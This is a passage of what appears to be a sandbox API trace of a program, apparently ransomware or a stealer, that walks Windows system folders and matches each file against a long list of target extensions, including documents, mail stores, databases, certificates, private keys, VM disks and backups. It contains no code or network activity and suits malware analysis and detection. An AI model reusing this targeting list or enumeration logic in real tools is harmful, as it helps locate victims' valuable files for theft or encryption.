[0100.473] lstrlenA (lpString="*.qbx") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qba") returned 0 [0100.473] lstrlenA (lpString="*.qba") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qby") returned 0 [0100.473] lstrlenA (lpString="*.qby") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbj") returned 0 [0100.473] lstrlenA (lpString="*.qbj") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.ofx") returned 0 [0100.473] lstrlenA (lpString="*.ofx") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qif") returned 0 [0100.473] lstrlenA (lpString="*.qif") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mye") returned 0 [0100.473] lstrlenA (lpString="*.mye") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mbox") returned 0 [0100.473] lstrlenA (lpString="*.mbox") returned 6 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.eml") returned 0 [0100.473] lstrlenA (lpString="*.eml") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.pst") returned 0 [0100.474] lstrlenA (lpString="*.pst") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.ost") returned 0 [0100.474] lstrlenA (lpString="*.ost") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.idx") returned 0 [0100.474] lstrlenA (lpString="*.idx") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.dbx") returned 0 [0100.474] lstrlenA (lpString="*.dbx") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.sql") returned 0 [0100.474] lstrlenA (lpString="*.sql") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mdb") returned 0 [0100.474] lstrlenA (lpString="*.mdb") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.fdb") returned 0 [0100.474] lstrlenA (lpString="*.fdb") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.wab") returned 0 [0100.474] lstrlenA (lpString="*.wab") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.dat") returned 0 [0100.474] lstrlenA (lpString="*.dat") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.txt") returned 0 [0100.474] lstrlenA (lpString="*.txt") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.jpeg") returned 0 [0100.474] lstrlenA (lpString="*.jpeg") returned 6 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.jpg") returned 0 [0100.474] lstrlenA (lpString="*.jpg") returned 5 [0100.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.png") returned 0 [0100.474] lstrlenA (lpString="*.png") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.php") returned 0 [0100.475] lstrlenA (lpString="*.php") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.cs") returned 0 [0100.475] lstrlenA (lpString="*.cs") returned 4 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.cpp") returned 0 [0100.475] lstrlenA (lpString="*.cpp") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.rar") returned 0 [0100.475] lstrlenA (lpString="*.rar") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.zip") returned 0 [0100.475] lstrlenA (lpString="*.zip") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.html") returned 0 [0100.475] lstrlenA (lpString="*.html") returned 6 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.htm") returned 0 [0100.475] lstrlenA (lpString="*.htm") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.xlsx") returned 0 [0100.475] lstrlenA (lpString="*.xlsx") returned 6 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.xls") returned 0 [0100.475] lstrlenA (lpString="*.xls") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mp4") returned 0 [0100.475] lstrlenA (lpString="*.mp4") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.ppt") returned 0 [0100.475] lstrlenA (lpString="*.ppt") returned 5 [0100.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.pptx") returned 0 [0100.475] lstrlenA (lpString="*.pptx") returned 6 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.doc") returned 0 [0100.476] lstrlenA (lpString="*.doc") returned 5 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.dot") returned 0 [0100.476] lstrlenA (lpString="*.dot") returned 5 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.docx") returned 0 [0100.476] lstrlenA (lpString="*.docx") returned 6 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.7z") returned 0 [0100.476] lstrlenA (lpString="*.7z") returned 4 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.tar") returned 0 [0100.476] lstrlenA (lpString="*.tar") returned 5 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.bz2") returned 0 [0100.476] lstrlenA (lpString="*.bz2") returned 5 [0100.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.gz") returned 0 [0100.477] lstrlenA (lpString="*.gz") returned 4 [0100.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mkv") returned 0 [0100.477] lstrlenA (lpString="*.mkv") returned 5 [0100.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.eml") returned 0 [0100.478] lstrlenA (lpString="*.eml") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.msg") returned 0 [0100.478] lstrlenA (lpString="*.msg") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.edb") returned 0 [0100.478] lstrlenA (lpString="*.edb") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.accdb") returned 0 [0100.478] lstrlenA (lpString="*.accdb") returned 7 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.odb") returned 0 [0100.478] lstrlenA (lpString="*.odb") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.java") returned 0 [0100.478] lstrlenA (lpString="*.java") returned 6 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.asm") returned 0 [0100.478] lstrlenA (lpString="*.asm") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.pfx") returned 0 [0100.478] lstrlenA (lpString="*.pfx") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.pem") returned 0 [0100.478] lstrlenA (lpString="*.pem") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.p12") returned 0 [0100.478] lstrlenA (lpString="*.p12") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.gpg") returned 0 [0100.478] lstrlenA (lpString="*.gpg") returned 5 [0100.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.vsd") returned 0 [0100.479] lstrlenA (lpString="*.vsd") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.odg") returned 0 [0100.479] lstrlenA (lpString="*.odg") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.raw") returned 0 [0100.479] lstrlenA (lpString="*.raw") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.nef") returned 0 [0100.479] lstrlenA (lpString="*.nef") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.svg") returned 0 [0100.479] lstrlenA (lpString="*.svg") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.psd") returned 0 [0100.479] lstrlenA (lpString="*.psd") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.vmx") returned 0 [0100.479] lstrlenA (lpString="*.vmx") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.vmdk") returned 0 [0100.479] lstrlenA (lpString="*.vmdk") returned 6 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.vdi") returned 0 [0100.479] lstrlenA (lpString="*.vdi") returned 5 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.lay6") returned 0 [0100.479] lstrlenA (lpString="*.lay6") returned 6 [0100.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mpeg") returned 0 [0100.480] lstrlenA (lpString="*.mpeg") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.djvu") returned 0 [0100.480] lstrlenA (lpString="*.djvu") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.tiff") returned 0 [0100.480] lstrlenA (lpString="*.tiff") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.backup") returned 0 [0100.480] lstrlenA (lpString="*.backup") returned 8 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.pdf") returned 0 [0100.480] lstrlenA (lpString="*.pdf") returned 5 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.cert") returned 0 [0100.480] lstrlenA (lpString="*.cert") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.docm") returned 0 [0100.480] lstrlenA (lpString="*.docm") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.xlsm") returned 0 [0100.480] lstrlenA (lpString="*.xlsm") returned 6 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.dwg") returned 0 [0100.480] lstrlenA (lpString="*.dwg") returned 5 [0100.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.nd") returned 0 [0100.480] lstrlenA (lpString="*.nd") returned 4 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.tlg") returned 0 [0100.481] lstrlenA (lpString="*.tlg") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.lgb") returned 0 [0100.481] lstrlenA (lpString="*.lgb") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mov") returned 0 [0100.481] lstrlenA (lpString="*.mov") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.xdw") returned 0 [0100.481] lstrlenA (lpString="*.xdw") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.ods") returned 0 [0100.481] lstrlenA (lpString="*.ods") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.wav") returned 0 [0100.481] lstrlenA (lpString="*.wav") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.mp3") returned 0 [0100.481] lstrlenA (lpString="*.mp3") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.aiff") returned 0 [0100.481] lstrlenA (lpString="*.aiff") returned 6 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.flac") returned 0 [0100.481] lstrlenA (lpString="*.flac") returned 6 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.m4a") returned 0 [0100.481] lstrlenA (lpString="*.m4a") returned 5 [0100.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.csv") returned 0 [0100.482] lstrlenA (lpString="*.csv") returned 5 [0100.482] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.resources.dll", cAlternateFileName="")) returned 0 [0100.482] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.482] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.482] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.482] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.WSMan.Runtime", cAlternateFileName="MICROS~1.RUN")) returned 1 [0100.482] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Runtime") returned -1 [0100.482] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Runtime") returned -1 [0100.482] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.482] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.WSMan.Runtime" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime" [0100.482] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime") returned 52 [0100.482] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.483] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.483] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.483] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.483] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.483] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", 